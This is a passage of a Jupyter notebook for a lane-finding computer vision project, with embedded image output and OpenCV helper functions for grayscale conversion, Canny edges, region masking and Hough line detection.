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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1a43bebe898>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "#reading in an image\n", "image = mpimg.imread('test_images/solidWhiteRight.jpg')\n", "\n", "#printing out some stats and plotting\n", "print('This image is:', type(image), 'with dimensions:', image.shape)\n", "plt.imshow(image) # if you wanted to show a single color channel image called 'gray', for example, call as plt.imshow(gray, cmap='gray')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Ideas for Lane Detection Pipeline" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Some OpenCV functions (beyond those introduced in the lesson) that might be useful for this project are:**\n", "\n", "`cv2.inRange()` for color selection \n", "`cv2.fillPoly()` for regions selection \n", "`cv2.line()` to draw lines on an image given endpoints \n", "`cv2.addWeighted()` to coadd / overlay two images\n", "`cv2.cvtColor()` to grayscale or change color\n", "`cv2.imwrite()` to output images to file \n", "`cv2.bitwise_and()` to apply a mask to an image\n", "\n", "**Check out the OpenCV documentation to learn about these and discover even more awesome functionality!**" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Helper Functions" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Below are some helper functions to help get you started. They should look familiar from the lesson!" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import math\n", "\n", "def grayscale(img):\n", " \"\"\"Applies the Grayscale transform\n", " This will return an image with only one color channel\n", " but NOTE: to see the returned image as grayscale\n", " (assuming your grayscaled image is called 'gray')\n", " you should call plt.imshow(gray, cmap='gray')\"\"\"\n", " return cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n", " # Or use BGR2GRAY if you read an image with cv2.imread()\n", " # return cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n", "\n", "def rgbtohsv(img):\n", " \"Applies rgb to hsv transform\"\n", " return cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n", " \n", "def canny(img, low_threshold, high_threshold):\n", " \"\"\"Applies the Canny transform\"\"\"\n", " return cv2.Canny(img, low_threshold, high_threshold)\n", "\n", "def gaussian_blur(img, kernel_size):\n", " \"\"\"Applies a Gaussian Noise kernel\"\"\"\n", " return cv2.GaussianBlur(img, (kernel_size, kernel_size), 0)\n", "\n", "def region_of_interest(img, vertices):\n", " \"\"\"\n", " Applies an image mask.\n", " \n", " Only keeps the region of the image defined by the polygon\n", " formed from `vertices`. The rest of the image is set to black.\n", " \"\"\"\n", " #defining a blank mask to start with\n", " mask = np.zeros_like(img) \n", " \n", " #defining a 3 channel or 1 channel color to fill the mask with depending on the input image\n", " if len(img.shape) > 2:\n", " channel_count = img.shape[2] # i.e. 3 or 4 depending on your image\n", " ignore_mask_color = (255,) * channel_count\n", " else:\n", " ignore_mask_color = 255\n", " \n", " #filling pixels inside the polygon defined by \"vertices\" with the fill color \n", " cv2.fillPoly(mask, vertices, ignore_mask_color)\n", " \n", " #returning the image only where mask pixels are nonzero\n", " masked_image = cv2.bitwise_and(img, mask)\n", " return masked_image\n", "\n", "\n", "def draw_lines(img, lines, color=[200, 0, 0], thickness = 10):\n", " \"\"\"\n", " NOTE: this is the function you might want to use as a starting point once you want to \n", " average/extrapolate the line segments you detect to map out the full\n", " extent of the lane (going from the result shown in raw-lines-example.mp4\n", " to that shown in P1_example.mp4). \n", " \n", " Think about things like separating line segments by their \n", " slope ((y2-y1)/(x2-x1)) to decide which segments are part of the left\n", " line vs. the right line. Then, you can average the position of each of \n", " the lines and extrapolate to the top and bottom of the lane.\n", " \n", " This function draws `lines` with `color` and `thickness`. \n", " Lines are drawn on the image inplace (mutates the image).\n", " If you want to make the lines semi-transparent, think about combining\n", " this function with the weighted_img() function below\n", " \"\"\"\n", " x_left = []\n", " y_left = []\n", " x_right = []\n", " y_right = []\n", " imshape = image.shape\n", " ysize = imshape[0]\n", " ytop = int(0.6*ysize) # need y coordinates of the top and bottom of left and right lane\n", " ybtm = int(ysize) # to calculate x values once a line is found\n", " \n", " for line in lines:\n", " for x1,y1,x2,y2 in line:\n", " slope = float(((y2-y1)/(x2-x1)))\n", " if (slope > 0.5): # if the line slope is greater than tan(26.52 deg), it is the left line\n", " x_left.append(x1)\n", " x_left.append(x2)\n", " y_left.append(y1)\n", " y_left.append(y2)\n", " if (slope < -0.5): # if the line slope is less than tan(153.48 deg), it is the right line\n", " x_right.append(x1)\n", " x_right.append(x2)\n", " y_right.append(y1)\n", " y_right.append(y2)\n", " # only execute if there are points found that meet criteria, this eliminates borderline cases i.e. rogue frames\n", " if (x_left!=[]) & (x_right!=[]) & (y_left!=[]) & (y_right!=[]): \n", " left_line_coeffs = np.polyfit(x_left, y_left, 1)\n", " left_xtop = int((ytop - left_line_coeffs[1])/left_line_coeffs[0])\n", " left_xbtm = int((ybtm - left_line_coeffs[1])/left_line_coeffs[0])\n", " right_line_coeffs = np.polyfit(x_right, y_right, 1)\n", " right_xtop = int((ytop - right_line_coeffs[1])/right_line_coeffs[0])\n", " right_xbtm = int((ybtm - right_line_coeffs[1])/right_line_coeffs[0])\n", " cv2.line(img, (left_xtop, ytop), (left_xbtm, ybtm), color, thickness)\n", " cv2.line(img, (right_xtop, ytop), (right_xbtm, ybtm), color, thickness)\n", "\n", "def hough_lines(img, rho, theta, threshold, min_line_len, max_line_gap):\n", " \"\"\"\n", " `img` should be the output of a Canny transform.\n", " \n", " Returns an image with hough lines drawn.\n", " \"\"\"\n", " lines = cv2.HoughLinesP(img, rho, theta, threshold, np.array([]), minLineLength=min_line_len, maxLineGap=max_line_gap)\n", " line_img = np.zeros((img.shape[0], img.shape[1], 3), dtype=np.uint8)\n", " draw_lines(line_img, lines)\n", " return line_img\n", "\n", "# Python 3 has support for cool math symbols.\n", "\n", "def weighted_img(img, initial_img, α=0.8, β=1., λ=0.):\n", " \"\"\"\n", " `img` is the output of the hough_lines(), An image with lines drawn on it.\n", " Should be a blank image (all black) with lines drawn on it.\n", " \n", " `initial_img` should be the image before any processing.\n", " \n", " The result image is computed as follows:\n", " \n", " initial_img * α + img * β + λ\n", " NOTE: initial_img and img must be the same shape!\n", " \"\"\"\n", " return cv2.addWeighted(initial_img, α, img, β, λ)\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Test Images\n", "\n", "Build your pipeline to work on the images in the directory \"test_images\" \n", "**You should make sure your pipeline works well on these images before you try the videos.**" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import os\n", "test_images_list = os.listdir(\"test_images/\") # modified a little to save filenames of test images" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Build a Lane Finding Pipeline\n", "\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Build the pipeline and run your solution on all test_images. Make copies into the `test_images_output` directory, and you can use the images in your writeup report.\n", "\n", "Try tuning the various parameters, especially the low and high Canny thresholds as well as the Hough lines parameters." ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "data": { "image/png": "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\nD7